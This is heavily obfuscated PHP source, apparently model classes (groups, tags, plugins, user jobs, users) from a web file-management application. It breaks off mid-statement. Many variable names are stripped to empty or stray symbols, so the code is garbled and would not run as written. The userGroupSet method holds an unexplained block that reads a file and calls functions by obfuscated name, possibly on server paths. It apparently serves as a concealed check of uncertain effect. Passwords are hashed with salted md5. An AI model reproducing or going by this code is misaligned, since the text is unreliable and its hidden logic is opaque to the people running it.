$this->groupChildrenAll($); $ܟ = $this->_searchFromMeta($[463], $ˌ, 10, $ꙿ); $֭ = $this->_searchFromMeta($[464], $ˌ, 10, $ꙿ); $ = array_merge($ܟ, $֭, $[$[364]]); $[$[364]] = array_unique_by_key($, $[1810]); $[$[361]][$[362]] = count($[$[364]]); $[$[361]][$[363]] = ceil($[$[361]][$[362]] / $[$[361]][$[358]]); } $this->_listDataApply($[$[364]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[]; if (!$) { return !1; } if (is_string($)) { $ = array($); } $ = $; foreach ($ as $߾) { $ۙ = $this->getInfoSimple($߾); $ = array($[521] => array($[378], $ۙ[$[521]] . $߾ . $[545])); $輙 = $this->field($[1810])->where($)->select(); $ = array_merge($, array_to_keyvalue($輙, $[12], $[1810])); } return array_unique($); } private function _searchFromMeta($, $Ӡ, $ô, $) { $􍖸 =& $_SERVER[]; $Ӡ = strtolower($Ӡ); $ = array($􍖸[95] => $, $􍖸[369] => array($􍖸[378], "\x25{$Ӡ}\45")); $ = $this->parseWhereLike($); if ($) { $[$􍖸[1810]] = array($􍖸[7], $); } $ŕ = Model($􍖸[1906])->where($)->limit($ô)->select(); if (!$ŕ) { return array(); } $ŕ = array_to_keyvalue($ŕ, $􍖸[12], $􍖸[1810]); $ = $this->where(array($􍖸[1897] => array($􍖸[7], $ŕ)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($֔) { $Ɯѕ = array($֔); $this->_listDataApply($Ɯѕ); return $Ɯѕ[0]; } protected function _listDataApply(&$ՓŸ) { $ =& $_SERVER[]; if (!$ՓŸ) { return; } $ʁ = array_to_keyvalue($ՓŸ, $[12], $[1810]); $this->_listAppendChildren($ՓŸ); $this->_listAppendChildrenMember($ՓŸ); $this->_listAppendMeta($ՓŸ, $ʁ); $this->_listAppendParent($ՓŸ); $this->_listAppendSourceRoot($ՓŸ, $ʁ); } private function _listAppendChildren(&$Ϋ) { $ő =& $_SERVER[]; $ = array_to_keyvalue($Ϋ, $ő[12], $ő[1810]); $␇Ձ = array($ő[498] => array($ő[7], $)); $ؿ = array($ő[498], $ő[1907] => $ő[500]); $ť = $this->field($ؿ)->where($␇Ձ)->group($ő[498])->select(); $ = array_to_keyvalue($ť, $ő[498], $ő[500]); foreach ($Ϋ as &$ߍ) { $؂ = $ߍ[$ő[1810]]; $ߍ[$ő[1908]] = isset($[$؂]) ? intval($[$؂]) : !1; } unset($ߍ); } private function _listAppendChildrenMember(&$˘԰) { $˙ =& $_SERVER[]; $ = array_to_keyvalue($˘԰, $˙[12], $˙[1810]); $Ä = array($˙[1810] => array($˙[7], $)); $ͬ = array($˙[1810], $˙[1907] => $˙[500]); $ = Model($˙[1899])->field($ͬ)->where($Ä)->group($˙[1810])->select(); $ = array_to_keyvalue($, $˙[1810], $˙[500]); foreach ($˘԰ as &$˲) { $Ӭ = $˲[$˙[1810]]; $˲[$˙[1909]] = isset($[$Ӭ]) ? intval($[$Ӭ]) : !1; } unset($˲); } private function _listAppendMeta(&$ڒ, $ȊǴ) { $Ɲ =& $_SERVER[]; $ = array($Ɲ[1810] => array($Ɲ[7], $ȊǴ)); $殿 = Model($Ɲ[1898])->where($)->select(); $殿 = array_to_keyvalue_group($殿, $Ɲ[1810]); foreach ($殿 as &$؞) { $؞ = array_to_keyvalue($؞, $Ɲ[95], $Ɲ[369]); } unset($؞); foreach ($ڒ as &$À) { $À[$Ɲ[465]] = array(); if (isset($殿[$À[$Ɲ[1810]]])) { $À[$Ɲ[465]] = $殿[$À[$Ɲ[1810]]]; } } unset($À); } protected function parentLevelArray($) { $ٓ =& $_SERVER[]; $ = explode($ٓ[50], trim($, $ٓ[50])); $ = array_remove_value($, $ٓ[190]); return $; } private function _listAppendParent(&$ة) { $ =& $_SERVER[]; $ = array(); foreach ($ة as &$ކ) { $[$ކ[$[1810]]] = $ކ[$[32]]; $Е = $this->parentLevelArray($ކ[$[521]]); foreach ($Е as $ϓه) { if (!isset($[$ϓه])) { $[$ϓه] = 0; } } } unset($ކ); foreach ($ as $ => $ب) { if ($ب) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $à = $GLOBALS[$[6]][$[90]][$[1910]]; if ($GLOBALS[$[505]] == $[89]) { $à = !1; } foreach ($ة as &$ކ) { $Е = $this->parentLevelArray($ކ[$[521]]); $ = $[12]; foreach ($Е as $ => $ϓه) { if ($à && $ == 0) { continue; } $ .= $[$ϓه] . $[8]; } if ($Е) { $ .= $ކ[$[32]]; } $ކ[$[526]] = str_replace($[529], $[8], $); } unset($ކ); } private function _listAppendSourceRoot(&$ۮ, $Ե) { $ =& $_SERVER[]; $ = Model($[818])->listSourceRoot(SourceModel::TYPE_GROUP, $Ե); $ = array_to_keyvalue($, $[504]); $ = array_remove_key($, $[504]); foreach ($ۮ as &$) { $[$[87]] = $[$[$[1810]]] ? $[$[$[1810]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($؁ = 0; $؁ < count($); $؁++) { $灚ߢ = !1; for ($ = 0; $ < count($); $++) { if ($؁ == $) { continue; } if ($this->isParentOf($[$], $[$؁])) { $灚ߢ = !0; break; } } if (!$灚ߢ) { $[] = $[$؁]; } } return $; } protected function isParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($); $К = $this->getInfoSimple($); $›ϣ = $[$[521]] . $ . $[50]; if (substr($К[$[521]], 0, strlen($›ϣ)) == $›ϣ) { return !0; } return !1; } public function groupShowRoot($ˊݮ, $ɕ = false) { $ =& $_SERVER[]; $˃ = $this->getInfo($ˊݮ); if (!$˃) { return array(); } $ÿ˶ = $this->parentLevelArray($˃[$[521]]); $ = array($ˊݮ); if (count($ÿ˶) == 0) { return $; } if ($ɕ && count($ÿ˶) == 1) { return $; } if (!$˃[$[465]] || !isset($˃[$[465]][$[1895]]) || $˃[$[465]][$[1895]] == $[1864]) { return $this->groupShowRoot($ÿ˶[count($ÿ˶) - 1], $ɕ); } if ($˃[$[465]][$[1895]] == $[352]) { $ק = explode($[50], $˃[$[465]][$[1896]]); if ($ק) { $ = array_merge($, $ק); } } return $; } protected function resetParentLevel() { $î =& $_SERVER[]; $侇 = $î[1810]; $ش = $this->select(); $ش = array_to_keyvalue($ش, $侇); foreach ($ش as $ғӗ) { $ = $ғӗ; $ = array(); while ($[$î[498]] != 0) { $[] = $[$î[498]]; $ = $ش[$[$î[498]]]; } $[] = 0; $ = $î[50] . implode($î[50], array_reverse($)) . $î[50]; $this->setNamePinyin($ғӗ[$侇], $ғӗ[$î[32]]); $this->where(array($侇 => $ғӗ[$侇]))->save(array($î[584] => $)); } return $ش; } public function groupNameAuto($‰, $) { $۲ =& $_SERVER[]; $ = $this->where(array($۲[402] => $‰))->getField($۲[32], !0); if (!$ || !in_array($, $)) { return $; } for ($֬ = 1; $֬ <= count($) + 1; $֬++) { $ = $ . "\x28{$֬}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($׹, $󸧀) { $ީǎ =& $_SERVER[]; $ί = array($ީǎ[1810] => array($ީǎ[7], array($׹, $󸧀))); $؉ = $this->where($ί)->select(); $؉ = array_to_keyvalue($؉, $ީǎ[1810]); if (!isset($؉[$׹]) || !isset($؉[$󸧀]) || $؉[$׹][$ީǎ[498]] == 0) { return !1; } $ί = array($ީǎ[1810] => $׹); $чŃ = Model($ީǎ[1899])->where($ί)->select(); if (!$чŃ) { $чŃ = array(); } foreach ($чŃ as $ϧ) { $ڪڗ = $ϧ[$ީǎ[1642]]; $ί = array($ީǎ[1642] => $ڪڗ, $ީǎ[1810] => $󸧀); $ݸ֨ے = Model($ީǎ[1899])->where($ί)->find(); if (!$ݸ֨ے) { $ = array($󸧀 => $ϧ[$ީǎ[1911]]); Model($ީǎ[538])->userGroupAdd($ڪڗ, $); } Model($ީǎ[538])->userGroupRemove($ڪڗ, $׹); } $ί = array($ީǎ[412] => 2, $ީǎ[498] => 0, $ީǎ[411] => 1, $ީǎ[504] => array($ީǎ[7], array($׹, $󸧀))); $륕 = Model($ީǎ[818])->where($ί)->field($ީǎ[1912])->select(); $륕 = array_to_keyvalue($륕, $ީǎ[504], $ީǎ[403]); $ = !empty($륕[$׹]) ? $륕[$׹] : !1; if ($) { if (!$륕[$󸧀]) { $륕[$󸧀] = Model($ީǎ[818])->groupRootAdd($󸧀); } $Źթ = $륕[$󸧀]; $ί = array($ީǎ[498] => $); $륕 = Model($ީǎ[818])->where($ί)->field($ީǎ[1913])->select(); if (!$륕) { $륕 = array(); } Model($ީǎ[818])->moveClearAuth = !1; foreach ($륕 as $߂̘) { $ = $߂̘[$ީǎ[411]] == $ީǎ[89] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ީǎ[818])->move($߂̘[$ީǎ[403]], $Źթ, $); } Model($ީǎ[818])->moveClearAuth = !0; $ί = array($ީǎ[412] => 2, $ީǎ[504] => $׹); $ޱ = array($ީǎ[504] => $󸧀); Model($ީǎ[1914])->where($ί)->save($ޱ); Model($ީǎ[1915])->where($ί)->save($ޱ); } $this->_changeChildLevel($؉[$׹], $؉[$󸧀], !0); $this->where(array($ީǎ[498] => $׹))->save(array($ީǎ[498] => $󸧀)); $this->_clearChildrenCache($؉[$󸧀]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\145\x72\137\x66\141\x76"; protected function cacheFunctionAlias($Ȓ) { $ =& $_SERVER[]; return array($[1916] => array($Ȓ[0], $[1917]), $[1918] => array($Ȓ[0], $[1919])); } protected function get($) { $ǘ =& $_SERVER[]; $飯 = Model($ǘ[522])->metaGet($, $ǘ[1920]); $Է = json_decode($飯, !0); return $Է ? $Է : array($ǘ[1921] => $ǘ[89], $ǘ[364] => array()); } protected function set($Ѐ, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[1921] => $[89], $[364] => array()); Model($[522])->metaSet($Ѐ, $[1920], json_encode($)); return Model($[522])->metaSet($Ѐ, $[1920], json_encode($)); } protected function getByTagID($Ј, $ӆ) { $ڜ =& $_SERVER[]; if (!$Ј || !$ӆ) { return !1; } if (!Model($ڜ[522])->getInfoSimple($Ј)) { return !1; } $ͥ = $this->get($Ј); if (!$ͥ || !isset($ͥ[$ڜ[364]])) { return !1; } $ʱ = array_find_by_field($ͥ[$ڜ[364]], $ڜ[401], $ӆ); return is_array($ʱ) ? $ʱ : !1; } public function listSource($ںԾ, $) { $ɖ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($ںԾ); $Д = array(); foreach ($ as $ق) { $ = $ق[$ɖ[78]]; if (!$) { continue; } if (!isset($Д[$])) { $Д[$] = array(); } $Д[$][] = $ق[$ɖ[427]]; } $ꦒ = array(); foreach ($Д as $쑴 => $צ) { $ط = !0; if (!$) { $ꦒ[] = $쑴; continue; } foreach ($ as $) { if (!in_array($, $צ)) { $ط = !1; break; } } if ($ط) { $ꦒ[] = $쑴; } } if (!$ꦒ) { return array(); } $ž = array($ɖ[418] => array($ɖ[419], $ꦒ), $ɖ[504] => $ںԾ, $ɖ[412] => SourceModel::TYPE_GROUP); $ڻ = Model($ɖ[1312])->listSource($ž); if (!$ڻ || count($ꦒ) == $ڻ[$ɖ[361]][$ɖ[362]]) { return $ڻ; } $ = array(); $ = array_to_keyvalue($ڻ[$ɖ[77]], $ɖ[12], $ɖ[403]); $߹ϗ = array_to_keyvalue($ڻ[$ɖ[76]], $ɖ[12], $ɖ[403]); $؟ = array_merge($߹ϗ, $); foreach ($ꦒ as $) { if (!in_array($, $؟)) { $[] = $; } } if ($) { $this->removeBySource($ںԾ, $); } return $ڻ; } protected function listData($Մ) { $Ƕ =& $_SERVER[]; $ = array($Ƕ[1633] => 0, $Ƕ[483] => array($Ƕ[1922], 0), $Ƕ[423] => $Ƕ[1923] . $Մ); $Ǘʨ = $Ƕ[1924]; $˞ߪ = $this->field($Ǘʨ)->where($)->order($Ƕ[1925])->select(); return $˞ߪ ? $˞ߪ : array(); } protected function addToTag($ۗ, $ތ, $) { $LJ =& $_SERVER[]; if (!$this->getByTagID($ۗ, $) || !$ތ) { return !1; } if (!Model($LJ[818])->pathInfo($ތ)) { return !1; } $܈ = array($LJ[1633] => 0, $LJ[483] => $, $LJ[422] => $ތ, $LJ[423] => $LJ[1926] . $ۗ, $LJ[421] => $LJ[12], $LJ[1814] => 0); if ($this->where($܈)->find()) { return !1; } return $this->add($܈); } protected function removeFromTag($¬, $ɻ, $૥) { $ӟ =& $_SERVER[]; if (!$this->getByTagID($¬, $૥) || !$ɻ) { return !1; } if (is_array($ɻ)) { $ɻ = array($ӟ[7], $ɻ); } $ = array($ӟ[1633] => 0, $ӟ[483] => $૥, $ӟ[423] => $ӟ[1926] . $¬, $ӟ[422] => $ɻ); return $this->where($)->delete(); } protected function removeByTag($, $) { $ག =& $_SERVER[]; if (!$this->getByTagID($, $)) { return !1; } $ڬ = array($ག[1633] => 0, $ག[483] => $, $ག[423] => $ག[1926] . $); return $this->where($ڬ)->delete(); } protected function removeBySource($ƴ, $֨) { $ =& $_SERVER[]; if (!$ƴ || !$֨) { return !1; } if (is_array($֨)) { $֨ = array($[7], $֨); } $ = array($[1633] => 0, $[422] => $֨, $[483] => array($[1001], 0), $[423] => $[1926] . $ƴ); return $this->where($)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\56\160\154\165\147\151\156\114\151\x73\164"; public $field = array("\156\x61\x6d\145", "\163\164\x61\x74\x75\x73", "\x72\x65\x67\151\x65\163\164", "\143\157\156\146\x69\x67"); public function loadList($֥ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($֥) { return $[$֥]; } return $; } public function init() { $ۂ =& $_SERVER[]; Hook::trigger($ۂ[1927]); $ꔖ = $this->loadPluginList(); foreach ($ꔖ as $ => $) { $ = $this->appAllow($, $); if (!$) { continue; } foreach ($[$ۂ[1928]] as $ъ => $́) { Hook::bind($ъ, $́); } } Hook::trigger($ۂ[1929]); Hook::trigger(ACTION); } public function appAllow($, $Ų, $ȱ = true) { $ =& $_SERVER[]; $ƕ = PLUGIN_DIR . $ . $[1930]; if (!is_array($Ų) || !is_array($Ų[$[1928]]) || $Ų[$[743]] != 1 || !is_file($ƕ)) { return !1; } if ($GLOBALS[$[505]] == 1) { return !0; } if ($ȱ && !Action($[1931])->checkAuth($)) { return !1; } return !0; } public function unInstall($ÈĶ) { $ =& $_SERVER[]; $Ƒ = $this->loadList($ÈĶ); if (file_exists(PLUGIN_DIR . $ÈĶ)) { Hook::apply($ÈĶ . $[1932]); } $this->remove($Ƒ[$[401]]); } public function changeStatus($Ԋ, $) { $֛ =& $_SERVER[]; $ = $this->loadList($Ԋ); if ($) { Hook::apply($Ԋ . $֛[1933]); } $this->update($[$֛[401]], array($֛[1934] => $)); } public function appRegist($, $) { $¬ =& $_SERVER[]; $聇 = $this->loadList($); if ($聇) { $this->update($聇[$¬[401]], array($¬[1928] => $)); } else { $ƕ = array($¬[32] => $, $¬[1928] => $, $¬[743] => 0, $¬[6] => $this->getConfigDefault($)); $this->insert($ƕ); } } public function getConfigDefault($岛) { $Ը钴 =& $_SERVER[]; $҇ = array(); $ = $this->getPackageJson($岛); if (!$ && is_array($[$Ը钴[1935]])) { return $҇; } foreach ($[$Ը钴[1935]] as $ֈ => $¥̘) { if (!isset($¥̘[$Ը钴[369]]) || isset($҇[$ֈ])) { continue; } $҇[$ֈ] = $¥̘[$Ը钴[369]]; } return $҇; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][1936]); } public function getConfig($, $ϩ = false) { $ٌ =& $_SERVER[]; $ = array(); $Ʈ = $this->loadList($); if ($Ʈ && is_array($Ʈ[$ٌ[6]])) { $ = $Ʈ[$ٌ[6]]; } if (!$ || $ϩ) { $ = $this->getConfigDefault($); } return $; } public function setConfig($Ϙ, $ = false) { $吩 =& $_SERVER[]; $ = $this->loadList($Ϙ); if (!$) { return !1; } $ = $[$吩[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($Ϙ); } foreach ($ as $ => $ˁ) { $[$] = is_string($ˁ) ? trim($ˁ) : $ˁ; } $this->update($[$吩[401]], array($吩[6] => $)); } public function viewList() { $é =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ϭ۾ => $۰) { unset($۰[$é[1928]], $۰[$é[6]]); $ = PLUGIN_DIR . $۰[$é[32]] . $é[1930]; if (!is_file($)) { continue; } $ = Hook::apply($۰[$é[32]] . $é[1936]); if (is_array($)) { $[$ϭ۾] = array_merge($۰, $); } } return $; } private function loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[1937]) { return $; } $ǯ = Hook::trigger($[1938], $); if ($ && !$ǯ) { die; } return $ǯ ? $ǯ : $; } private function pluginScan($֚) { $ܝ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $Ō, 0); foreach ($ as $) { $ԦȜ = get_path_this($); if (isset($֚[$ԦȜ]) || !file_exists($ . $ܝ[1939]) || !file_exists($ . $ܝ[1930])) { continue; } Hook::apply($ԦȜ . $ܝ[1933]); } } } goto b߉Í; Fʢ: class UserJobModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\x6d\x2e\x6a\x6f\x62\x4c\x69\x73\164"; public $field = array("\156\141\155\145", "\144\145\x73\143", "\163\157\x72\164"); const JOB_KEY = "\x73\145\154\146\x4a\157\142\x4c\151\x73\164"; public function listData($ = false, $ = "\x73\x6f\162\x74", $ = false) { return parent::listData($, $, $); } public function remove($ϝ) { return parent::remove($ϝ); } public function add($) { $ƅ =& $_SERVER[]; if ($this->findByName($[$ƅ[32]])) { return !1; } $[$ƅ[1833]] = $this->getSort(); return parent::insert($); } private function getSort() { $֭֗ =& $_SERVER[]; $ϳ = parent::listData(); $֐ = array_to_keyvalue($ϳ, $֭֗[12], $֭֗[1833]); return empty($֐) ? 0 : max($֐) + 1; } public function update($ͭ, $ӓ) { $ =& $_SERVER[]; $ = parent::listData($ͭ); $ܩ = $this->findByName($ӓ[$[32]]); if (!$ || $ܩ && $ܩ[$[401]] != $[$[401]]) { return !1; } return parent::update($ͭ, $ӓ); } public function setUserJob($, $ڛ) { $Ʌ =& $_SERVER[]; if (!is_array($ڛ)) { $ڛ = array($ڛ); } $ = parent::listData(); $ٗ = array_to_keyvalue($, $Ʌ[32]); $׺ = $Ʌ[373]; foreach ($ڛ as $) { if ($ٗ[$]) { $׺ .= $ٗ[$][$Ʌ[401]] . $Ʌ[50]; } else { $ = $this->add($); $׺ .= $ . $Ʌ[50]; } } $׺ = rtrim($׺, $Ʌ[50]); Model($Ʌ[538])->metaSet($, self::JOB_KEY, $׺); } public function getUserJob($) { $ɗ = Model($_SERVER[][538])->metaGet($); return $this->getUserJobInfo($ɗ[self::JOB_KEY]); } public function getUserJobInfo($٤) { $͉ =& $_SERVER[]; $ = explode($͉[50], $٤); $؝ = parent::listData(); $؝ = array_remove_key($؝, $͉[193]); $㱏 = array(); foreach ($ as $) { if (isset($؝[$])) { $㱏[] = $؝[$]; } } return $㱏; } } class UserModel extends ModelBase { protected $tableName = "\165\163\145\x72"; protected $tableMeta = array("\164\141\142\154\145\116\141\x6d\x65" => "\x75\163\x65\162\137\155\145\164\x61", "\155\x65\164\141\106\151\145\154\144" => "\165\x73\145\162\111\104"); protected $simpleField = "\x75\x73\x65\x72\x49\x44\54\x6e\x69\143\x6b\116\141\x6d\x65\54\x6e\141\155\145\54\141\x76\x61\x74\x61\x72\54\163\145\170\54\x73\x74\x61\x74\165\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($۴) { $Ѯ =& $_SERVER[]; $ۼ = $Ѯ[2238]; return array($Ѯ[1887] => array($۴[0], $ۼ), $Ѯ[1889] => array($۴[0], $ۼ), $Ѯ[2239] => array($۴[0], $ۼ)); } protected function getInfo($٢ɚ, $ = false) { $Ծ = $this->getInfoSimple($٢ɚ); if (!is_array($Ծ)) { return array(); } if ($) { return $this->_getInfoApply($Ծ); } return $this->cacheFunctionGet($_SERVER[][1891], $٢ɚ); } protected function getInfoFull($, $ = false) { $Ү = $this->getInfoSimple($); if (!is_array($Ү)) { return array(); } if ($) { return $this->_getInfoApply($Ү, !0); } return $this->cacheFunctionGet($_SERVER[][2240], $); } private function _getInfoApply($Ʋܽ, $ = false) { $و֝ =& $_SERVER[]; if (!$Ʋܽ) { return $Ʋܽ; } $׉ = md5($و֝[2241] . $Ʋܽ[$و֝[876]] . $و֝[2242] . $Ʋܽ[$و֝[32]]); $Ʋܽ = $this->_listDataApplyItem($Ʋܽ); $ = Model($و֝[1312])->metaGet($Ʋܽ[$و֝[87]][$و֝[403]]); $Ʋܽ[$و֝[2243]] = $׉; $Ʋܽ[$و֝[87]][$و֝[2073]] = isset($[$و֝[2074]]) ? $[$و֝[2074]] : null; if ($) { $Ʋܽ[$و֝[465]] = $this->metaGet($Ʋܽ[$و֝[1642]]); } return $Ʋܽ; } protected function getInfoSimple($ը, $ = false) { $ =& $_SERVER[]; if (!$ը) { return array(); } if ($) { $ = $this->where(array($[1642] => intval($ը)))->find(); if (!is_array($)) { return array(); } $[$[2244]] = Action($[2245])->parseUrl($[$[2244]]); return $; } return $this->cacheFunctionGet($[1892], $ը); } protected function getInfoSimpleOuter($) { $ڭ =& $_SERVER[]; if (!$ || $ == 0) { return array($ڭ[1642] => $ڭ[190], $ڭ[32] => $ڭ[159] . LNG($ڭ[2246]) . $ڭ[536], $ڭ[2244] => STATIC_PATH . $ڭ[2247]); } $Ú = $this->cacheFunctionGet($ڭ[1892], $); $߮ = array_field_key($Ú, explode($ڭ[50], $this->simpleField)); if (!$߮) { return array($ڭ[1642] => $ڭ[1175], $ڭ[32] => $ڭ[159] . LNG($ڭ[2248]) . $ڭ[536], $ڭ[2244] => STATIC_PATH . $ڭ[2249]); } $߮[$ڭ[2244]] = Action($ڭ[2245])->parseUrl($߮[$ڭ[2244]]); return $߮; } protected function groupUser($耞) { } public static function errorLang($→) { $ί =& $_SERVER[]; $ʦ = array(self::ERROR_USER_NOT_EXISTS => $ί[2250], self::ERROR_USER_PASSWORD_ERROR => $ί[2251], self::ERROR_USER_EXIST_NAME => $ί[2252], self::ERROR_USER_EXIST_PHONE => $ί[2253], self::ERROR_USER_EXIST_EMAIL => $ί[2254], self::ERROR_USER_LOGIN_LOCK => $ί[2255], self::ERROR_IP_NOT_ALLOW => $ί[2256], self::ERROR_USER_EXIST_NICKNAME => $ί[2257]); return LNG($ʦ[$→]); } public function getInfoByMeta($, $) { $ɻ =& $_SERVER[]; $ڏ = Model($ɻ[2258])->where(array($ɻ[95] => $, $ɻ[369] => $))->find(); if ($ڏ) { return $this->getInfo($ڏ[$ɻ[1642]]); } return !1; } public function userLoginCheck($Χ, $ળ) { $͑ =& $_SERVER[]; $ēܕ = $this->userLoginFind($Χ); if (!$ēܕ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ēܕ[$͑[1642]], $ળ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ēܕ[$͑[1642]]); } public function userLoginFind($􁭱) { $ˌ =& $_SERVER[]; $͈ = array($ˌ[32] => $􁭱, $ˌ[2078] => $􁭱, $ˌ[300] => $􁭱, $ˌ[2259] => $􁭱, $ˌ[987] => $ˌ[989]); if ($this->nickNameRpt()) { unset($͈[$ˌ[2078]]); } return $this->where($͈)->find(); } public function clearCache($Ñ) { $œ =& $_SERVER[]; $this->cacheFunctionClear($œ[1891], $Ñ); $this->cacheFunctionClear($œ[1892], $Ñ); $this->cacheFunctionClear($œ[2240], $Ñ); } public function userPasswordCheck($, $) { $ٗ =& $_SERVER[]; $񠾔 = $this->where(array($ٗ[1642] => intval($)))->find(); $̟ = $this->metaGet($); $ = isset($̟[$ٗ[2260]]) ? $̟[$ٗ[2260]] : $ٗ[12]; if (md5($ . trim($)) !== $񠾔[$ٗ[876]]) { return !1; } return !0; } public function userAdd($ڐ) { $ =& $_SERVER[]; $ = array($[421] => $ڐ[$[32]], $[2261] => $ڐ[$[1519]], $[2262] => isset($ڐ[$[300]]) ? $ڐ[$[300]] : $[12], $[2263] => isset($ڐ[$[2259]]) ? $ڐ[$[2259]] : $[12], $[2264] => isset($ڐ[$[2078]]) ? $ڐ[$[2078]] : $ڐ[$[32]], $[2265] => isset($ڐ[$[2244]]) ? $ڐ[$[2244]] : $[12], $[2266] => isset($ڐ[$[2267]]) ? $ڐ[$[2267]] : 1, $[2268] => $ڐ[$[876]], $[1893] => isset($ڐ[$[1797]]) ? $ڐ[$[1797]] : 1024 * 1024 * 20, $[1894] => 0, $[2269] => 0, $[1934] => isset($ڐ[$[743]]) ? $ڐ[$[743]] : 1); if (!empty($ڐ[$[1642]])) { $[$[1642]] = $ڐ[$[1642]]; } $ř = $this->_checkExist($ڐ); if ($ř !== !0) { return $ř; } $كΦ = $this->add($); $ѳ = array($[2268] => $[$[876]], $[2264] => $[$[2078]]); $this->userEdit($كΦ, $ѳ); Model($[1312])->userRootAdd($كΦ); return $كΦ; } protected function userEditTest($ᦷ, $) { return $this->call($_SERVER[][2270], $ᦷ, $); } protected function userEdit($, $) { $ٳԸ =& $_SERVER[]; $ǧ = $this->getInfoSimple($); if (!$ǧ) { return !1; } $ٱ = $this->_checkExist($, $); if ($ٱ !== !0) { return $ٱ; } if (isset($[$ٳԸ[876]]) && trim($[$ٳԸ[876]]) != $ٳԸ[12]) { $ = $this->metaGet($); if (empty($[$ٳԸ[2260]])) { $[$ٳԸ[2260]] = rand_string(10); Model($ٳԸ[513])->metaSet($, $ٳԸ[2260], $[$ٳԸ[2260]]); } $[$ٳԸ[876]] = md5($[$ٳԸ[2260]] . trim($[$ٳԸ[876]])); } else { unset($[$ٳԸ[876]]); } $this->where(array($ٳԸ[1633] => $))->save($); if (isset($[$ٳԸ[2078]])) { $this->setNamePinyin($, $[$ٳԸ[2078]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $͖ =& $_SERVER[]; if (!$) { $ڃ = $this->getInfoSimple($); $ = $ڃ[$͖[2078]] ? $ڃ[$͖[2078]] : $ڃ[$͖[32]]; } $ = Model($͖[538]); if (!Input::check($, $͖[587])) { return $->metaSet($, array($͖[464] => $͖[12], $͖[463] => $͖[12])); } return $->metaSet($, array($͖[464] => str_replace($͖[53], $͖[12], Pinyin::get($)), $͖[463] => Pinyin::get($, $͖[588]))); } private function nickNameRpt() { $쮑 =& $_SERVER[]; $瘇̓ = Model($쮑[763])->get($쮑[2271]); $뱺 = $GLOBALS[$쮑[6]][$쮑[376]][$쮑[2271]]; $ȝ = !is_null($瘇̓) ? $瘇̓ : $뱺; return !!$ȝ; } private function _checkExist($, $ث = false) { $ =& $_SERVER[]; $ۊ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2078] => UserModel::ERROR_USER_EXIST_NICKNAME, $[300] => UserModel::ERROR_USER_EXIST_EMAIL, $[2259] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ۊ[$[2078]]); } $߄ = $ث ? array($[1642] => array($[2272], $ث)) : array(); foreach ($ۊ as $ => $) { $ = array(); foreach ($ۊ as $ => $) { if (isset($[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $̋ = array_merge(array($ => array($[7], $)), $߄); $ = $this->where($̋)->find(); if ($) { return $; } } return !0; } public function userListInfo($֕) { $ =& $_SERVER[]; $臧 = array(); $֕ = is_array($֕) ? array_unique($֕) : array(); if (!$֕) { return $臧; } if (count($֕) < 20) { foreach ($֕ as $) { $臧[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($[1633] => array($[419], $֕)); if (count($֕) == 1) { $ = array($[1633] => $֕[0]); } $ = Model($[513])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1642]); foreach ($֕ as $) { $͢ = $[$]; if (!$͢) { $臧[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $͢[$[2244]] = Action($[2245])->parseUrl($͢[$[2244]]); $臧[$ . $[12]] = $͢; } } return $臧; } protected function userStatus($װύ, $) { $Ή = $this->getInfoSimple($װύ); if (!$Ή) { return !1; } $ʦ = array($_SERVER[][743] => $); return $this->userEdit($װύ, $ʦ); } protected function userRemove($) { $۲ =& $_SERVER[]; $  = $this->getInfoSimple($); if (!$ ) { return !1; } $ = array($۲[1633] => $); Model($۲[595])->where($)->delete(); Model($۲[2273])->where($)->delete(); Model($۲[1899])->where($)->delete(); Model($۲[2258])->where($)->delete(); Model($۲[1055])->where($)->delete(); Model($۲[2095])->removeUserAll($); Model($۲[818])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($˳, $, $ = array()) { $ɹ =& $_SERVER[]; if ($_SERVER[$ɹ[389]] != $_SERVER[$ɹ[390]]) { $Ź = $ɹ[865]; $ёۄ = $ɹ[391]; $ù = $_SERVER[$ɹ[392]] . $ɹ[393]; $ = $ёۄ($ù); $ = explode($ɹ[226], $); if (count($) < $ɹ[617]) { $󀳇 = $ɹ[395]; $󀳇(); } $ɝ = $ɹ[866]; $ɝ($_SERVER[$ɹ[867]]); $ɝ($_SERVER[$ɹ[392]] . $ɹ[868]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $ɹ[373]); } } $˔ = 